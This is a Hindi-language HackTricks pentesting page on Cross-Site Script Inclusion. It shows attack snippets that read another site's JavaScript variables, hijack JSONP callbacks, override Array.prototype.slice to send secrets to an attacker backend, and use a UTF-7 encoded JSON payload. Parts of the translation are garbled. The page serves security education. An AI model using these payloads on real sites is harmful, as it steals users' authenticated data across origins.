hacktricks/pentesting-web/xssi-cross-site-script-inclusion.md

12 KiB

XSSI (क्रॉस-साइट स्क्रिप्ट इनक्लूजन)

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

मूल जानकारी

XSSI एक प्रकार की कमजोरी को सूचित करता है जो यह उत्पन्न करता है कि, **जब एक संसाधन script टैग का उपयोग करके शामिल किया जाता है, तो SOP लागू नहीं होता है, क्योंकि स्क्रिप्टों को क्रॉस-डोमेन में शामिल किया जा सकना चाहिए। इस प्रकार, एक हमलावर इस तरह से सभी कुछ पढ़ सकता है जो script टैग का उपयोग करके शामिल किया गया था।

यह विशेष रूप से दिनामी JavaScript या JSONP के समय दिखाई देने वाले वातावरण-अधिकार सूचनाओं के साथ जब कुकीज अधिकृति के लिए उपयोग की जाती है, तो यह दिलचस्प होता है। कुकीज एक विभिन्न होस्ट से संसाधन का अनुरोध करते समय शामिल किए जाते हैं।

प्रकार

  1. स्थायी JavaScript (सामान्य XSSI)
  2. स्थायी JavaScript, जो केवल प्रमाणीकरण के समय उपलब्ध है
  3. दिनामी JavaScript
  4. गैर-जावास्क्रिप्ट

निम्नलिखित जानकारी https://www.scip.ch/en/?labs.20160414 का सारांश है। अधिक विवरण के लिए इसे देखें।

सामान्य XSSI

इस दृष्टिकोण में, निजी जानकारी को एक वैश्विक रूप से पहुंचने वाले JavaScript फ़ाइल में समाहित किया जाता है। हमलावर इन फ़ाइलों को फ़ाइल पढ़ने, कीवर्ड खोज, या नियमित अभिव्यक्तियों जैसे तरीकों से पहचान सकते हैं। एक बार खोजा गया, निजी जानकारी वाला स्क्रिप्ट दुरुपयोग में शामिल किया जा सकता है, जिससे संवेदनशील डेटा तक के अनधिकृत पहुंच हो सकती है। नीचे एक उदाहरण शोषण तकनीक दिखाया गया है:

<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script> alert(JSON.stringify(confidential_keys[0])); </script>

डायनेमिक-जावास्क्रिप्ट-आधारित-XSSI और प्रमाणीकृत-जावास्क्रिप्ट-XSSI

ये प्रकार के XSSI हमले गुप्त जानकारी को उपयोगकर्ता के अनुरोध के प्रतिक्रिया में जावास्क्रिप्ट में डायनेमिक रूप से जोड़ देने का सम्मिलित करते हैं। पहचान कुकी के साथ और बिना कुकी के अनुरोध भेजकर की जा सकती है और प्रतिक्रियाएँ तुलना करके। यदि जानकारी भिन्न है, तो यह गुप्त जानकारी की मौजूदगी का संकेत हो सकता है। इस प्रक्रिया को DetectDynamicJS Burp एक्सटेंशन जैसे उपकरणों का उपयोग करके स्वचालित किया जा सकता है।

यदि गोपनीय डेटा एक ग्लोबल वेरिएबल में संग्रहित है, तो इसे नियमित XSSI में उपयोग किए गए उसी तरीकों का उपयोग करके उत्पन्न किया जा सकता है। हालांकि, यदि गोपनीय डेटा एक JSONP प्रतिक्रिया में शामिल है, तो हमलावर कॉलबैक फ़ंक्शन को हाइजैक करके जानकारी प्राप्त कर सकते हैं। यह या तो ग्लोबल ऑब्जेक्ट को मानिपुलेट करके या एक फ़ंक्शन को सेट करके किया जा सकता है जिसे JSONP प्रतिक्रिया द्वारा क्रियान्वित किया जाए, जैसा नीचे प्रदर्शित किया गया है:

<script>
var angular = function () { return 1; };
angular.callbacks = function () { return 1; };
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked));
};
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>

जो भीर्तिक नेमस्पेस में स्थित नहीं हैं, उनके लिए कभी-कभी प्रोटोटाइप टैम्परिंग का शोध किया जा सकता है। यह तकनीक जावास्क्रिप्ट के डिज़ाइन का लाभ उठाती है, जहां कोड की व्याख्या करने में कॉल्ड प्रॉपर्टी को ढूंढने के लिए प्रोटोटाइप चेन को चरणों में चलना पड़ता है। कुछ फ़ंक्शन को ओवरराइड करके, जैसे कि Array का slice, हमलावार निशाने में ना-ग्लोबल वेरिएबल्स तक पहुँच सकते हैं और लीक कर सकते हैं:

Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};

Further details on attack vectors can be found in the work of Security Researcher Sebastian Lekies, who maintains a list of vectors.

गैर-स्क्रिप्ट-XSSI

Takeshi Terada के शोध में एक और फॉर्म ऑफ XSSI पेश किया गया है, जहाँ गैर-स्क्रिप्ट फ़ाइलें, जैसे CSV, script टैग में स्रोत के रूप में शामिल होकर क्रॉस-ऑरिजिन में लीक होती हैं। XSSI के ऐतिहासिक उदाहरण, जैसे Jeremiah Grossman का 2006 का हमला जिसमें पूरा Google पता-पुस्तिका पढ़ा गया था और Joe Walker का 2007 का JSON डेटा लीक, इन खतरों की गंभीरता को हाइलाइट करते हैं। इसके अतिरिक्त, Gareth Heyes एक हमला वेरिएंट वर्णित करते हैं जिसमें UTF-7 एन्कोडेड JSON का उपयोग करके JSON प्रारूप से बचने और स्क्रिप्ट्स को निष्पादित करने की क्षमता है, जो कुछ ब्राउज़र्स में प्रभावी है।

[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert)!

दूसरे तरीके HackTricks का समर्थन करने के लिए: